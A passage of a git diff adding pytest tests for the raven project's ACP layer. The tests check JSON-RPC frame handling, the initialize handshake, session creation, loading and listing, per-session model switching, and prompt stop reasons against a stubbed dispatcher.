test_the_current_selection_needs_no_search(self): + """Re-picking the model already in use is a real click, and the catalogue + already names its provider -- so it is answered from there rather than + found again in the group list, which a hand-configured model would not + appear in at all.""" + catalogue = {"model": "some-vendor/exotic-1", "provider": "some-vendor", "providers": []} + call, calls = _caller(catalogue) + + await set_model(call, session_id="acp:s1", value="some-vendor/exotic-1") + + applied = [params for method, params in calls if method == "config.set"] + assert applied[0]["provider"] == "some-vendor" + + async def test_an_unreachable_catalogue_refuses_rather_than_writes(self): + """The lookup is the only source of the provider, so losing it has to stop + the write: applying without one raises inside the runtime, and applying + with a guess spends a credential nobody chose.""" + call, calls = _caller(error=RuntimeError("provider registry is unreachable")) + + with pytest.raises(ValueError): + await set_model(call, session_id="acp:s1", value="anthropic/opus-5") + + assert [method for method, _ in calls] == ["model.options"] + + async def test_a_malformed_catalogue_entry_is_skipped_not_trusted(self): + """The catalogue crosses an RPC boundary, so its shape is checked rather + than assumed. A junk entry must not become the provider a switch bills.""" + catalogue = { + "model": "anthropic/sonnet-5", + "provider": "anthropic", + "providers": [ + "not-a-dict", + {"slug": "", "authenticated": True, "models": ["opus-5"]}, + {"slug": "groq", "authenticated": True, "models": [None, "opus-5"]}, + ], + } + call, calls = _caller(catalogue) + + await set_model(call, session_id="acp:s1", value="groq/opus-5") + + applied = [params for method, params in calls if method == "config.set"] + assert applied[0]["provider"] == "groq" + + async def test_the_session_id_is_passed_so_the_switch_stays_scoped_to_it(self): + """``config.set`` with a session_id binds that session and leaves + ``agents.defaults`` alone. Omitting it would widen a per-session option + into an installation-wide one.""" + call, calls = _caller() + + await set_model(call, session_id="acp:busy", value="anthropic/opus-5") + + applied = [params for method, params in calls if method == "config.set"] + assert applied[0]["session_id"] == "acp:busy" + + @pytest.mark.parametrize("value", [None, "", 5, [], {"model": "x"}]) + async def test_an_unusable_value_is_refused_before_the_write(self, value): + call, calls = _caller() + + with pytest.raises(ValueError): + await set_model(call, session_id="acp:s1", value=value) + + assert calls == [] diff --git a/tests/test_acp_methods.py b/tests/test_acp_methods.py new file mode 100644 index 00000000..8a5bddf4 --- /dev/null +++ b/tests/test_acp_methods.py @@ -0,0 +1,1314 @@ +"""The ACP methods, driven against a stubbed RPC stack. + +The stub is a real ``Dispatcher`` with real-shaped handlers rather than a mock of +the methods module, so the round trip that matters is exercised: a handler here +builds a JSON-RPC frame, the dispatcher validates and routes it, and the answer +comes back as a frame that has to be unpacked. Mocking that seam would hide the +two things most likely to be wrong -- the parameter names and the error unpacking. + +What is not stubbed is the translator: turn state and the outbound event stream +are the mechanism by which a prompt learns its stop reason, and a fake would +assert the design instead of testing it. +""" + +from __future__ import annotations + +import asyncio +import base64 +import json +from pathlib import Path + +import pytest + +from raven.acp import protocol +from raven.acp.methods import MAX_IMAGE_BYTES, AcpMethods +from raven.acp.updates import UpdateTranslator +from raven.rpc.dispatcher import Dispatcher +from tests.acp_schema import validate_def, validate_outbound + + +class _Stack: + """A dispatcher with the four methods the ACP layer calls, plus a log.""" + + def __init__(self) -> None: + self.dispatcher = Dispatcher() + self.calls: list[tuple[str, dict]] = [] + self.subscriptions = iter(f"sub-{n}" for n in range(1, 100)) + self.send_result: dict | Exception = {"turn_id": "t1", "accepted": True} + self.cancel_result: dict | Exception = {"cancelled": True} + # ``session.resume`` mints a fresh id for an unknown session rather than + # failing, which is the behaviour the ACP layer has to detect; the stub + # reproduces it rather than raising, or the detection would be untested. + self.stored: dict[str, list[dict]] = {} + self.model_options: dict | Exception = { + "model": "sonnet-5", + "provider": "anthropic", + "providers": [ + { + "slug": "anthropic", + "name": "Anthropic", + "authenticated": True, + "models": ["sonnet-5", "opus-5"], + "model_labels": {}, + } + ], + } + self.config_set_result: dict | Exception = {"applied": True, "previous": "sonnet-5"} + self.dispatcher.register("turn.subscribe", self._subscribe) + self.dispatcher.register("turn.send", self._send) + self.dispatcher.register("turn.cancel", self._cancel) + self.dispatcher.register("session.resume", self._resume) + self.dispatcher.register("model.options", self._model_options) + self.dispatcher.register("config.set", self._config_set) + + async def _model_options(self, params: dict) -> dict: + self.calls.append(("model.options", params)) + if isinstance(self.model_options, Exception): + raise self.model_options + return self.model_options + + async def _config_set(self, params: dict) -> dict: + self.calls.append(("config.set", params)) + if isinstance(self.config_set_result, Exception): + raise self.config_set_result + return self.config_set_result + + async def _resume(self, params: dict) -> dict: + self.calls.append(("session.resume", params)) + requested = params.get("session_id") + if requested in self.stored: + return {"session_id": requested, "info": {}, "messages": self.stored[requested]} + return {"session_id": "tui:freshly-minted", "info": {}, "messages": []} + + async def _subscribe(self, params: dict) -> dict: + self.calls.append(("turn.subscribe", params)) + return {"subscription_id": next(self.subscriptions)} + + async def _send(self, params: dict) -> dict: + self.calls.append(("turn.send", params)) + if isinstance(self.send_result, Exception): + raise self.send_result + return self.send_result + + async def _cancel(self, params: dict) -> dict: + self.calls.append(("turn.cancel", params)) + if isinstance(self.cancel_result, Exception): + raise self.cancel_result + return self.cancel_result + + def params_for(self, method: str) -> dict: + return next(params for name, params in self.calls if name == method) + + +@pytest.fixture +def rig(tmp_path, monkeypatch): + """A methods object wired to a stub stack, with the workspace redirected. + + ``cwd`` validation and the upload directory both read the real config, so the + workspace is pointed at ``tmp_path`` -- otherwise ``session/new`` would refuse + a path near the developer's own agent home, and an image test would write + into it. + """ + from raven.config import load_config + + config = load_config() + monkeypatch.setattr(type(config), "workspace_path", property(lambda self: tmp_path / "ws")) + monkeypatch.setattr("raven.acp.methods.load_config", lambda: config, raising=False) + + from raven.session.manager import SessionManager + + stack = _Stack() + written: list[dict] = [] + translator = UpdateTranslator(emit=written.append) + # A stand-in for the engine that carries only what the ACP layer reads from + # it: the shared session manager. ``_manager_for`` builds a throwaway one + # when handed None, so a test that passed None would assert nothing about + # where the working directory ends up. + engine = SimpleRig(sessions=SessionManager(tmp_path / "ws")) + methods = AcpMethods(dispatcher=stack.dispatcher, translator=translator, emit=written.append, agent_loop=engine) + return SimpleRig( + methods=methods, stack=stack, translator=translator, written=written, tmp_path=tmp_path, engine=engine + ) + + +class SimpleRig: + def __init__(self, **kw): + self.__dict__.update(kw) + + async def call(self, method: str, params: dict | None = None, *, request_id: int | str = 1): + frame = {"jsonrpc": "2.0", "id": request_id, "method": method} + if params is not None: + frame["params"] = params + return await self.methods.handle(frame) + + async def notify(self, method: str, params: dict | None = None): + frame = {"jsonrpc": "2.0", "method": method} + if params is not None: + frame["params"] = params + return await self.methods.handle(frame) + + async def handshake(self): + return await self.call("initialize", {"protocolVersion": 1, "clientCapabilities": {}}) + + async def new_session(self, cwd: str | None = None): + response = await self.call("session/new", {"cwd": cwd or str(self.tmp_path / "project"), "mcpServers": []}) + assert "result" in response, response + return response["result"]["sessionId"] + + def updates(self) -> list[dict]: + return [f["params"]["update"] for f in self.written if f.get("method") == "session/update"] + + +class TestFrameShapes: + async def test_a_request_is_answered_on_its_own_id_including_a_string(self, rig): + for request_id in (1, 0, "abc-1"): + response = await rig.call("initialize", {}, request_id=request_id) + + assert response["id"] == request_id + + async def test_a_notification_is_never_answered(self, rig): + await rig.handshake() + + assert await rig.notify("session/cancel", {"sessionId": "nope"}) is None + assert await rig.notify("$/cancel_request", {"id": 1}) is None + assert await rig.notify("nonsense.method") is None + + async def test_a_response_to_nothing_is_not_answered(self, rig): + """A frame with an id but no method answers a request this agent never + sent, so there is nothing to correlate it with.""" + assert await rig.methods.handle({"jsonrpc": "2.0", "id": 9, "result": {}}) is None + assert await rig.methods.handle({"jsonrpc": "2.0", "id": 9, "error": {"code": -1, "message": "x"}}) is None + + async def test_an_id_of_zero_is_a_request_not_a_notification(self, rig): + """JSON-RPC says a notification has no ``id`` member. A request that goes + unanswered because its id was falsy is a hang with no diagnostic.""" + response = await rig.methods.handle({"jsonrpc": "2.0", "id": 0, "method": "initialize", "params": {}}) + + assert response is not None and response["id"] == 0 + + async def test_a_null_id_is_also_a_request(self, rig): + response = await rig.methods.handle({"jsonrpc": "2.0", "id": None, "method": "initialize", "params": {}}) + + assert response is not None and "result" in response + + async def test_a_non_string_method_is_rejected(self, rig): + response = await rig.call(42) # type: ignore[arg-type] + + assert response["error"]["code"] == protocol.INVALID_REQUEST + assert await rig.methods.handle({"jsonrpc": "2.0", "method": 42}) is None + + async def test_positional_params_are_refused_rather_than_read_as_absent(self, rig): + """ACP is by-name throughout. A positional array is legal JSON-RPC and + unusable here, so saying so beats silently treating it as empty.""" + response = await rig.call("initialize", ["1"]) # type: ignore[arg-type] + + assert response["error"]["code"] == protocol.INVALID_PARAMS + + async def test_a_malformed_notification_is_dropped_rather_than_answered(self, rig): + """The same two refusals as a request, but silent: a notification has no + reply, so the only thing to get right is not inventing one.""" + assert await rig.methods.handle({"jsonrpc": "2.0", "method": 42}) is None + assert await rig.methods.handle({"jsonrpc": "2.0", "method": "initialize", "params": ["1"]}) is None + + async def test_a_crash_while_handling_a_notification_stays_silent(self, rig, monkeypatch): + """The same guard as for a request, minus the answer. Letting it out would + take the read loop down over a frame the client is not even waiting on.""" + + async def _boom(params): + raise ZeroDivisionError("nope") + + monkeypatch.setattr(rig.methods, "_session_cancel", _boom) + await rig.handshake() + + assert await rig.notify("session/cancel", {"sessionId": "x"}) is None + + async def test_a_handler_crash_answers_rather_than_killing_the_connection(self, rig, monkeypatch): + """Without this, a handler bug takes the read loop down and the client + sees the agent vanish mid-turn -- indistinguishable from a crash.""" + + def _boom(params): + raise ZeroDivisionError("nope") + + monkeypatch.setattr(rig.methods, "_initialize", _boom) + + response = await rig.call("initialize", {}) + + assert response["error"]["code"] == protocol.INTERNAL_ERROR + validate_outbound(response) + + +class TestHandshakeGate: + async def test_nothing_works_before_initialize(self, rig): + response = await rig.call("session/new", {"cwd": "/tmp", "mcpServers": []}) + + assert response["error"]["code"] == protocol.INVALID_REQUEST + assert "initialize" in response["error"]["message"] + + async def test_a_notification_before_initialize_is_silently_ignored(self, rig): + assert await rig.notify("session/cancel", {"sessionId": "x"}) is None + + async def test_cancel_request_is_allowed_before_the_handshake(self, rig): + """A protocol-level notification is not part of the session lifecycle, so + gating it behind initialize would refuse something that is always legal.""" + assert await rig.notify("$/cancel_request", {"id": 3}) is None + + async def test_the_handshake_records_what_the_client_declared(self, rig): + await rig.call("initialize", {"protocolVersion": 1, "clientCapabilities": {"elicitation": {}}}) + + assert rig.methods.initialized is True + assert rig.methods.client.elicitation is True + + async def test_reinitialising_is_allowed(self, rig): + """A client that renegotiates is unusual, but refusing would strand one + whose first attempt raced its own setup.""" + await rig.handshake() + response = await rig.call("initialize", {"protocolVersion": 1, "clientCapabilities": {"fs": {}}}) + + assert "result" in response + assert rig.methods.client.elicitation is False + + async def test_authenticate_says_none_is_needed(self, rig): + """authMethods is empty, which is a statement. Method-not-found would + read to a client as a version mismatch.""" + await rig.handshake() + response = await rig.call("authenticate", {"methodId": "oauth"}) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + assert response["error"]["data"] == {"authMethods": []} + + async def test_the_unbuilt_stable_methods_answer_method_not_found(self, rig): + await rig.handshake() + for method in ("session/set_mode", "logout", "session/delete", "session/resume", "session/close"): + response = await rig.call(method, {}) + + assert response["error"]["code"] == protocol.METHOD_NOT_FOUND, method + + async def test_an_unknown_method_is_answered_rather_than_dropped(self, rig): + """An unanswered request leaves the client's promise pending for the life + of the session.""" + await rig.handshake() + response = await rig.call("session/teleport", {}) + + assert response["error"]["code"] == protocol.METHOD_NOT_FOUND + + +class TestSessionNew: + async def test_it_mints_a_session_on_the_acp_channel_and_subscribes(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + assert session_id.startswith("acp:"), "the channel prefix is what keeps editor sessions out of the TUI picker" + assert rig.stack.params_for("turn.subscribe") == {"session_key": session_id} + assert rig.translator.get(session_id) is not None + + async def test_the_response_matches_the_schema(self, rig): + await rig.handshake() + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + validate_def("NewSessionResponse", response["result"]) + validate_outbound(response) + + async def test_the_working_directory_is_pinned_in_session_metadata(self, rig): + """The same key ``WorkdirResolver`` already honours: this is how a client + attached to a shared engine keeps its own directory. + + Read back off the *engine's* manager, which is the point: a fresh + ``SessionManager`` caches nothing, so pinning through one writes into an + object that is discarded immediately and the session runs in the wrong + tree with no error anywhere. + """ + await rig.handshake() + target = rig.tmp_path / "project" + session_id = await rig.new_session(str(target)) + + stored = rig.engine.sessions.get_or_create(session_id).metadata["workdir"] + assert Path(stored) == target + + async def test_a_session_without_an_engine_is_still_created(self, rig): + """The turn will fail on the build error; refusing the session too would + replace one clear failure with a handshake that looks broken.""" + rig.methods._agent_loop = None + + await rig.handshake() + + assert await rig.new_session() + + async def test_a_relative_cwd_is_refused_with_the_reason(self, rig): + """``validate_override`` raises ``ValueError``, and a bare Python + exception is not an acceptable handshake failure.""" + await rig.handshake() + response = await rig.call("session/new", {"cwd": "project", "mcpServers": []}) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + assert response["error"]["data"]["field"] == "cwd" + assert "absolute" in response["error"]["message"] + + async def test_a_missing_cwd_is_refused(self, rig): + await rig.handshake() + for params in ({"mcpServers": []}, {"cwd": "", "mcpServers": []}, {"cwd": 5, "mcpServers": []}): + response = await rig.call("session/new", params) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + + async def test_per_session_mcp_servers_are_refused_not_ignored(self, rig): + """Accepting the field silently would leave a client believing its tools + are available for the rest of the session.""" + await rig.handshake() + response = await rig.call( + "session/new", + {"cwd": str(rig.tmp_path / "p"), "mcpServers": [{"name": "x", "command": "y", "args": []}]}, + ) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + assert response["error"]["data"] == {"field": "mcpServers", "count": 1} + + async def test_an_empty_mcp_server_list_is_fine(self, rig): + """The field is required by the schema and an empty array is the normal + value, so refusing it would refuse every well-formed client.""" + await rig.handshake() + + assert await rig.new_session() + + async def test_two_sessions_get_distinct_ids_and_streams(self, rig): + await rig.handshake() + first = await rig.new_session() + second = await rig.new_session() + + assert first != second + assert rig.translator.get(first).subscription_id != rig.translator.get(second).subscription_id + + async def test_a_subscription_failure_is_an_internal_error_not_a_broken_session(self, rig): + await rig.handshake() + + async def _empty(params): + return {} + + rig.stack.dispatcher._handlers["turn.subscribe"] = _empty + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert response["error"]["code"] == protocol.INTERNAL_ERROR + + +class TestSessionLoad: + async def test_a_stored_session_is_replayed_then_answered(self, rig): + """Not a getter: the transcript goes out as notifications *before* the + response, so a resumed session is drawn by the same client code as a live + one.""" + rig.stack.stored["acp:old"] = [ + {"role": "user", "text": "what changed?"}, + {"role": "assistant", "text": "One file."}, + ] + await rig.handshake() + + response = await rig.call( + "session/load", + {"sessionId": "acp:old", "cwd": str(rig.tmp_path / "project"), "mcpServers": []}, + ) + + assert response["result"] == {} + kinds = [u["sessionUpdate"] for u in rig.updates()] + assert kinds == ["user_message_chunk", "agent_message_chunk"] + for frame in rig.written: + validate_outbound(frame) + + async def test_the_session_becomes_promptable(self, rig): + """A load that did not register the session would replay a history the + client then cannot continue.""" + rig.stack.stored["acp:old"] = [{"role": "user", "text": "hi"}] + await rig.handshake() + + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + session = rig.translator.get("acp:old") + assert session is not None + assert session.subscription_id, "without a subscription the next turn streams nowhere" + + async def test_an_unknown_session_is_refused_rather_than_silently_replaced(self, rig): + """``session.resume`` mints a fresh session for an unknown id and answers + with that. A client handed the new one shows a person an empty transcript + for a conversation that had one.""" + await rig.handshake() + + response = await rig.call( + "session/load", {"sessionId": "acp:gone", "cwd": str(rig.tmp_path / "p"), "mcpServers": []} + ) + + assert response["error"]["code"] == protocol.RESOURCE_NOT_FOUND + assert rig.updates() == [], "nothing may be replayed for a session that was not found" + + async def test_the_working_directory_comes_from_the_client_not_from_storage(self, rig): + """A project moves, and the session's turns have to run where the editor + has it open now.""" + rig.stack.stored["acp:old"] = [] + await rig.handshake() + moved = rig.tmp_path / "moved" + + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(moved), "mcpServers": []}) + + assert rig.translator.get("acp:old").cwd == str(moved) + assert rig.engine.sessions.get_or_create("acp:old").metadata["workdir"] == str(moved) + + async def test_reloading_a_live_session_does_not_double_its_stream(self, rig): + """Two mappings to one session would double every later frame.""" + rig.stack.stored["acp:old"] = [{"role": "user", "text": "hi"}] + await rig.handshake() + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(rig.tmp_path / "a"), "mcpServers": []}) + first = rig.translator.get("acp:old").subscription_id + + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(rig.tmp_path / "b"), "mcpServers": []}) + + assert rig.translator.get("acp:old").subscription_id == first + assert rig.translator.get("acp:old").cwd == str(rig.tmp_path / "b") + assert sum(1 for name, _ in rig.stack.calls if name == "turn.subscribe") == 1 + + async def test_reloading_a_live_session_rebinds_the_engine_too(self, rig): + """Two things carry the directory and only one was being updated. + + ``AcpSession.cwd`` is what the translator reports and what replayed + locations are resolved against. ``metadata["workdir"]`` is what + ``WorkdirResolver`` reads, and therefore where the tools actually run. + Setting only the first leaves the agent editing the tree the session was + first opened in while the client and every location it is shown say the + session moved -- which is how a turn edits the wrong project. + + The neighbouring test asserts the cwd and the subscription; it passed + throughout, because the field it checks was never the one that decided + where a command ran. + """ + rig.stack.stored["acp:old"] = [] + await rig.handshake() + first = rig.tmp_path / "acp-old" + moved = rig.tmp_path / "acp-moved" + + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(first), "mcpServers": []}) + assert rig.engine.sessions.get_or_create("acp:old").metadata["workdir"] == str(first) + + await rig.call("session/load", {"sessionId": "acp:old", "cwd": str(moved), "mcpServers": []}) + + assert rig.translator.get("acp:old").cwd == str(moved) + assert rig.engine.sessions.get_or_create("acp:old").metadata["workdir"] == str(moved), ( + "the tools run where the metadata says, not where the translator says" + ) + + async def test_the_same_refusals_as_a_fresh_session_apply(self, rig): + await rig.handshake() + rig.stack.stored["acp:old"] = [] + + relative = await rig.call("session/load", {"sessionId": "acp:old", "cwd": "rel", "mcpServers": []}) + servers = await rig.call( + "session/load", + {"sessionId": "acp:old", "cwd": str(rig.tmp_path / "p"), "mcpServers": [{"name": "x"}]}, + ) + missing = await rig.call("session/load", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert relative["error"]["data"]["field"] == "cwd" + assert servers["error"]["data"]["field"] == "mcpServers" + assert missing["error"]["data"]["field"] == "sessionId" + + +class TestSessionList: + def _store(self, rig, key: str, workdir: str, **metadata): + session = rig.engine.sessions.get_or_create(key) + session.metadata["workdir"] = workdir + session.metadata.update(metadata) + return session + + async def test_it_lists_this_channels_sessions_newest_first(self, rig, monkeypatch): + await rig.handshake() + entries = [ + {"key": "acp:a", "metadata": {"workdir": "/one"}, "last_user_message_at": "2026-08-01T00:00:00"}, + {"key": "acp:b", "metadata": {"workdir": "/two", "title": "Two"}, "updated_at": "2026-08-20T00:00:00"}, + ] + monkeypatch.setattr( + rig.methods, + "_stored_sessions", + lambda: sorted( + entries, key=lambda e: str(e.get("last_user_message_at") or e.get("updated_at")), reverse=True + ), + ) + + response = await rig.call("session/list", {}) + + sessions = response["result"]["sessions"] + assert [s["sessionId"] for s in sessions] == ["acp:b", "acp:a"] + assert sessions[0] == {"sessionId": "acp:b", "cwd": "/two", "title": "Two", "updatedAt": "2026-08-20T00:00:00"} + validate_def("ListSessionsResponse", response["result"]) + for session in sessions: + validate_def("SessionInfo", session) + + async def test_a_session_with_no_recorded_directory_is_skipped_not_guessed(self, rig, monkeypatch): + """``SessionInfo.cwd`` is required, and inventing one would tell a client + the session ran somewhere it did not.""" + await rig.handshake() + monkeypatch.setattr( + rig.methods, + "_stored_sessions", + lambda: [{"key": "acp:a", "metadata": {}}, {"key": "acp:b", "metadata": {"workdir": "/two"}}], + ) + + response = await rig.call("session/list", {}) + + assert [s["sessionId"] for s in response["result"]["sessions"]] == ["acp:b"] + + async def test_the_cwd_filter_selects_by_directory(self, rig, monkeypatch): + await rig.handshake() + monkeypatch.setattr( + rig.methods, + "_stored_sessions", + lambda: [ + {"key": "acp:a", "metadata": {"workdir": "/one"}}, + {"key": "acp:b", "metadata": {"workdir": "/two"}}, + ], + ) + + response = await rig.call("session/list", {"cwd": "/two"}) + + assert [s["sessionId"] for s in response["result"]["sessions"]] == ["acp:b"] + + async def test_no_pagination_means_no_next_cursor(self, rig, monkeypatch): + """Omitting it says "there is no more" rather than "ask again".""" + await rig.handshake() + monkeypatch.setattr(rig.methods, "_stored_sessions", lambda: []) + + response = await rig.call("session/list", {"cursor": "anything"}) + + assert response["result"] == {"sessions": []} + validate_def("ListSessionsResponse", response["result"]) + + async def test_a_malformed_entry_is_skipped(self, rig, monkeypatch): + await rig.handshake() + monkeypatch.setattr( + rig.methods, + "_stored_sessions", + lambda: [ + {"metadata": {"workdir": "/x"}}, + {"key": "", "metadata": {"workdir": "/x"}}, + {"key": "acp:a", "metadata": "not a dict"}, + {"key": "acp:b", "metadata": {"workdir": "/ok"}}, + ], + ) + + response = await rig.call("session/list", {}) + + assert [s["sessionId"] for s in response["result"]["sessions"]] == ["acp:b"] + + async def test_without_an_engine_the_listing_is_empty_rather_than_wrong(self, rig): + """A fresh ``SessionManager`` caches nothing, so a listing built from one + would describe an object about to be discarded.""" + rig.methods._agent_loop = None + await rig.handshake() + + assert await rig.call("session/list", {}) == {"jsonrpc": "2.0", "id": 1, "result": {"sessions": []}} + + async def test_a_failure_reading_storage_is_an_empty_listing_not_an_error(self, rig, monkeypatch): + from raven.config import load_config + + await rig.handshake() + + def _explode(loop, config): + raise OSError("session directory is gone") + + monkeypatch.setattr("raven.rpc.methods.session._manager_for", _explode) + assert load_config() is not None + + response = await rig.call("session/list", {}) + + assert response["result"] == {"sessions": []} + + async def test_it_reads_the_real_manager_and_sorts_it(self, rig): + """The other tests stub the read; this one exercises it, because the sort + and the channel filter are the parts a stub would assert into existence.""" + await rig.handshake() + rig.engine.sessions.save(self._store(rig, "acp:older", "/one")) + rig.engine.sessions.save(self._store(rig, "acp:newer", "/two")) + + entries = rig.methods._stored_sessions() + + assert {e["key"] for e in entries} == {"acp:older", "acp:newer"} + + +class TestConfigOptions: + """The stable channel for switching models. + + ``session/set_model`` does not exist in the schema and neither does + ``models.availableModels``; both appear in older material. An agent waiting + for either would never be asked to switch a model. + """ + + async def test_a_new_session_is_told_what_it_can_change(self, rig): + """Offered at creation so a client can put a model picker in the session + menu without a second round trip.""" + await rig.handshake() + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + options = response["result"]["configOptions"] + assert [o["id"] for o in options] == ["model"] + assert options[0]["category"] == "model" + validate_def("NewSessionResponse", response["result"]) + + async def test_no_configured_provider_means_no_key_at_all(self, rig): + """Absent rather than empty: an empty list is a menu that opens onto + nothing.""" + rig.stack.model_options = {"model": "", "provider": "", "providers": []} + await rig.handshake() + + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert "configOptions" not in response["result"] + validate_def("NewSessionResponse", response["result"]) + + async def test_setting_the_model_writes_through_and_answers_with_the_full_set(self, rig): + """The response carries every option, not just the one that changed -- + the schema requires it, and applying one can change another's value.""" + await rig.handshake() + session_id = await rig.new_session() + + response = await rig.call( + "session/set_config_option", + {"sessionId": session_id, "configId": "model", "type": "string", "value": "anthropic/opus-5"}, + ) + + validate_def("SetSessionConfigOptionResponse", response["result"]) + assert [o["id"] for o in response["result"]["configOptions"]] == ["model"] + written = rig.stack.params_for("config.set") + assert written["key"] == "model" + assert written["value"] == "anthropic/opus-5" + + async def test_the_session_key_is_passed_so_the_switch_stays_scoped_to_it(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + await rig.call( + "session/set_config_option", + {"sessionId": session_id, "configId": "model", "value": "anthropic/opus-5"}, + ) + + assert rig.stack.params_for("config.set")["session_id"] == session_id + + async def test_the_write_names_the_provider_the_runtime_requires(self, rig): + """``config.set`` refuses a model with no provider field -- a model id + does not say whose credential serves it -- so every switch through this + surface failed before applying anything. Asserted against the params the + real dispatcher contract requires, not just against the call happening. + """ + await rig.handshake() + session_id = await rig.new_session() + + await rig.call( + "session/set_config_option", + {"sessionId": session_id, "configId": "model", "value": "anthropic/opus-5"}, + ) + + assert rig.stack.params_for("config.set")["provider"] == "anthropic" + + async def test_the_option_is_read_back_for_the_session_that_asked(self, rig): + """The switch is session-scoped, so the catalogue has to be asked about + that session: answered from the installation default, a switch that had + already applied would be reported as though it had not.""" + await rig.handshake() + session_id = await rig.new_session() + rig.stack.calls.clear() + + await rig.call( + "session/set_config_option", {"sessionId": session_id, "configId": "model", "value": "anthropic/opus-5"} + ) + + asked = [params for method, params in rig.stack.calls if method == "model.options"] + assert asked and all(p.get("session_id") == session_id for p in asked), asked + + async def test_a_refusal_keeps_its_own_code(self, rig): + """A typed refusal is something a client can act on. Flattening it to an + internal error leaves a person retrying a thing that will keep failing for + a reason nobody told them. + + ``config.set`` is where the refusal comes from, so the case is written + with a refusal this repo actually raises rather than a code borrowed from + a runtime that has more of them. + """ + from raven.rpc.errors import ConfigValidationError + + await rig.handshake() + session_id = await rig.new_session() + rig.stack.config_set_result = ConfigValidationError("not a model this build knows") + + response = await rig.call( + "session/set_config_option", + {"sessionId": session_id, "configId": "model", "value": "anthropic/opus-5"}, + ) + + assert response["error"]["code"] == -32011 + validate_outbound(response) + + async def test_an_unknown_option_names_what_is_supported(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + response = await rig.call( + "session/set_config_option", {"sessionId": session_id, "configId": "temperature", "value": "0.7"} + ) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + assert response["error"]["data"]["supported"] == ["model"] + + @pytest.mark.parametrize("value", [None, "", 5, []]) + async def test_an_unusable_value_is_refused_before_the_write(self, rig, value): + await rig.handshake() + session_id = await rig.new_session() + + response = await rig.call( + "session/set_config_option", {"sessionId": session_id, "configId": "model", "value": value} + ) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + assert not any(name == "config.set" for name, _ in rig.stack.calls) + + async def test_an_unknown_session_is_refused(self, rig): + await rig.handshake() + + response = await rig.call( + "session/set_config_option", {"sessionId": "acp:gone", "configId": "model", "value": "anthropic/opus-5"} + ) + + assert response["error"]["code"] == protocol.RESOURCE_NOT_FOUND + + async def test_a_failing_model_catalogue_does_not_fail_the_session(self, rig): + """This is read during ``session/new``. A missing model surface must not + take the handshake down with it.""" + rig.stack.model_options = RuntimeError("provider registry is unreachable") + await rig.handshake() + + response = await rig.call("session/new", {"cwd": str(rig.tmp_path / "p"), "mcpServers": []}) + + assert "result" in response + assert "configOptions" not in response["result"] + + +class TestPrompt: + async def test_a_text_prompt_runs_a_turn_and_answers_its_stop_reason(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "hi"}]}) + ) + await asyncio.sleep(0) + await asyncio.sleep(0) + rig.translator.settle_turn(session_id, "end_turn") + response = await task + + assert response["result"] == {"stopReason": "end_turn"} + validate_def("PromptResponse", response["result"]) + assert rig.stack.params_for("turn.send")["content"] == "hi" + + async def test_a_prompt_after_an_overflow_resubscribes_before_running(self, rig): + """A session whose stream died is bound to no subscription. Its next + prompt must re-subscribe first, or the turn's events have no subscriber + left to deliver them and the prompt never answers.""" + await rig.handshake() + session_id = await rig.new_session() + session = rig.translator.get(session_id) + first_sub = session.subscription_id + # The overflow path released the binding (tested at the translator level); + # reproduce its result directly here. + session.subscription_id = None + + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "hi"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + + assert session.subscription_id is not None and session.subscription_id != first_sub + assert sum(1 for name, _ in rig.stack.calls if name == "turn.subscribe") == 2 + + rig.translator.settle_turn(session_id, "end_turn") + response = await task + + assert response["result"] == {"stopReason": "end_turn"} + + async def test_the_stop_reason_comes_from_the_event_stream(self, rig): + """The whole point of the translator holding turn state: the reason is + decided by what the runtime emitted, not by the handler.""" + await rig.handshake() + session_id = await rig.new_session() + sub = rig.translator.get(session_id).subscription_id + + task = asyncio.create_task( + rig.call("session/prompt", {"sessionId": session_id, "prompt": [{"type": "text", "text": "hi"}]}) + ) + for _ in range(4): + await asyncio.sleep(0) + await rig.translator.send_frame( + { + "jsonrpc": "2.0", + "method": "event", + "params": { + "subscription_id": sub, + "event": { + "type": "error", + # ``turn_id`` is part of the shape the emitters produce + # now; without it this frame names no turn and settlement + # will not take it. + "payload": { + "code": -32099, + "message": "c", + "reason": "cancelled_by_client", + "turn_id": "t1", + }, + }, + }, + } + ) + response = await task + + assert response["result"] == {"stopReason": "cancelled"} + + async def test_an_unknown_session_is_told_so_rather_than_given_a_new_one(self, rig): + """-32002, because a client that reopens a session raven has lost would + otherwise show a person an empty transcript for a conversation that had + one.""" + await rig.handshake() + response = await rig.call("session/prompt", {"sessionId": "acp:gone", "prompt": []}) + + assert response["error"]["code"] == protocol.RESOURCE_NOT_FOUND + + async def test_an_empty_prompt_ends_the_turn_without_running_one(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + response = await rig.call("session/prompt", {"sessionId": session_id, "prompt": []}) + + assert response["result"] == {"stopReason": "end_turn"} + assert not any(name == "turn.send" for name, _ in rig.stack.calls) + + async def test_a_prompt_that_is_not_a_list_is_refused(self, rig): + await rig.handshake() + session_id = await rig.new_session() + + response = await rig.call("session/prompt", {"sessionId": session_id, "prompt": "hi"}) + + assert response["error"]["code"] == protocol.INVALID_PARAMS + + async def 